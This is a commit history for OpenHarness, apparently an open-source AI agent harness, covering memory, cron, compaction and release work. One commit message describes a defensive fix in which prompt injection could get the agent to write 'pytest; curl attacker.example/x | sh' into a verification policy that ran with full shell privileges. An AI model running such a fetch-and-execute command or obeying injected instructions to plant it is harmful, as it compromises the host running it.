19 Commits

Author SHA1 Message Date
Yang XiuYuan 6747d12385 feat(memory): add structured schema and usage index (#266)
* feat(memory): add structured schema and usage index

Add schema-v1 frontmatter for memory files, including stable ids, deterministic signatures, soft delete metadata, TTL handling, and migration support for legacy stores.

Track recalled memories in usage_index.json so retrieval can prioritize useful memories and auto-dream can review stale unused entries before pruning.

Keep project and ohmo memory backends aligned under the same behavior while preserving runtime compatibility for unmigrated Markdown files.

* fix(memory): make backend migration defaults explicit
2026-05-17 14:01:24 +08:00
Yudong An 5b46a2f7b3 Fix cron scheduler on Windows 2026-05-11 15:25:01 +08:00
Jiabin Tang 1929ad8051 feat(ohmo): add agent-turn cron delivery (#247) 2026-05-10 16:55:10 +08:00
Jiabin Tang f61901e842 feat(memory): add auto-dream consolidation (#246)
Add auto-dream memory consolidation with lock-based scheduling, manual /dream commands, backup/diff/rollback support, and ohmo integration for project and personal memory.
2026-05-09 14:09:55 +08:00
tjb-tech 1498a87806 fix(compact): bound large tool result history 2026-04-28 13:28:01 +00:00
tjb-tech 726b3ee028 fix(compact): handle local vision context pressure 2026-04-28 07:04:43 +00:00
tjb-tech 835588daa0 fix(compact): keep tool pairs intact across compact boundaries 2026-04-24 16:27:06 +00:00
José Maia 25d0bc7ab1 fix(autopilot): run verification commands without shell by default (#188)
Verification entries from `.openharness/autopilot/verification_policy.yaml`
were handed to `subprocess.run(shell=True, ...)`. Because the policy file
lives inside the working copy autopilot is triaging — and the autopilot
prompt invites the model to edit it — a hostile contributor or prompt
injection could land a string like `pytest; curl attacker.example/x | sh`
that runs on the autopilot runner with full privileges.

Each entry is now parsed into argv via `shlex.split` and executed with
`shell=False`. Commands that genuinely need shell features declare the
mapping form `{command: "...", shell: true}` explicitly — this surfaces
the escalation in policy diffs and PR review. Entries that contain shell
metacharacters without the opt-in become `status="error"` verification
steps, failing the gate loudly rather than silently executing. The
default policy's `cd frontend/terminal && ...` step is converted to the
opt-in form.

Closes #187.

Co-authored-by: José Maia <glitch-ux@users.noreply.github.com>
2026-04-23 18:57:19 +08:00
tjb-tech 992cac66d0 fix(test): align autopilot dashboard assertion 2026-04-16 13:16:32 +00:00
tjb-tech 67617e6eb5 fix(ohmo): restore runtime system prompt after startup 2026-04-16 12:52:11 +00:00
tjb-tech ce84a6a1a2 fix(session): sanitize empty assistant messages and add windows alias 2026-04-14 08:51:33 +00:00
tjb-tech 39ffc199a8 fix(config): resolve compact thresholds and base URL regressions 2026-04-12 15:33:43 +00:00
tjb-tech a6931b7698 feat(compact): improve task-state carry-over and channel logging 2026-04-10 11:26:16 +00:00
tjb-tech 3da00089d5 feat(compact): preserve task state across compaction 2026-04-10 09:53:57 +00:00
tjb-tech aca4016898 feat(compact): align lifecycle and carry-over behavior 2026-04-10 08:17:10 +00:00
tjb-tech d26c626111 refactor: move maintainer skills (harness-eval, pr-merge) to .claude/skills/
These are developer/maintainer workflow skills, not user-facing bundled
skills. They belong in .claude/skills/ (project-local, not packaged).
2026-04-05 06:51:24 +00:00
Chao Qin a6dfa8f56d feat: wire --resume/--continue CLI flags and add cron scheduler daemon (#16)
Cherry-picked from PR #16 by win4r, excluding auto-compact (already
implemented in a more thorough version based on Claude Code source).

Resume/Continue:
- Wire --continue (most recent session) and --resume (picker/ID) CLI flags
- Pass restore_messages through app.py → backend_host.py → runtime.py
- Uses existing session_storage infrastructure

Cron scheduler daemon:
- oh cron start/stop/status/list/toggle/history subcommands
- Background daemon with 30s tick, concurrent job execution, PID file
- Job state: enabled, last_run, next_run, last_status, created_at
- JSONL execution history at ~/.openharness/data/cron_history.jsonl
- croniter-based expression validation and next-run computation

Cost/usage output in print mode:
- Token usage summary (input/output/total) printed to stderr
- Tool activity indicators during execution

New files: cron_scheduler.py, cron_toggle_tool.py, test_cron.py, test_cron_scheduler.py
Modified: cli.py, runtime.py, app.py, backend_host.py, cron.py, tools/__init__.py
2026-04-04 10:29:09 +00:00
tjb-tech aab665492f docs: add repo docs and CI scaffolding 2026-04-03 04:58:40 +00:00
tjb-tech 5dd8b952ec Initial release: oh — OpenHarness: Open Agent Harness v0.1.0
A lightweight open-source Python implementation of the Agent Harness architecture.
44x lighter than Claude Code (11K vs 512K lines), 98% core tool coverage.

- 43 tools with Pydantic validation and parallel execution
- Skills system compatible with anthropics/skills (17+ tested)
- Plugin system compatible with claude-code/plugins (12+ tested)
- API retry with exponential backoff
- Multi-level permissions with path rules
- React/Ink TUI with "Oh my Harness!" branding
- 114 unit tests + 6 E2E test suites
- MIT License
2026-04-01 16:32:25 +00:00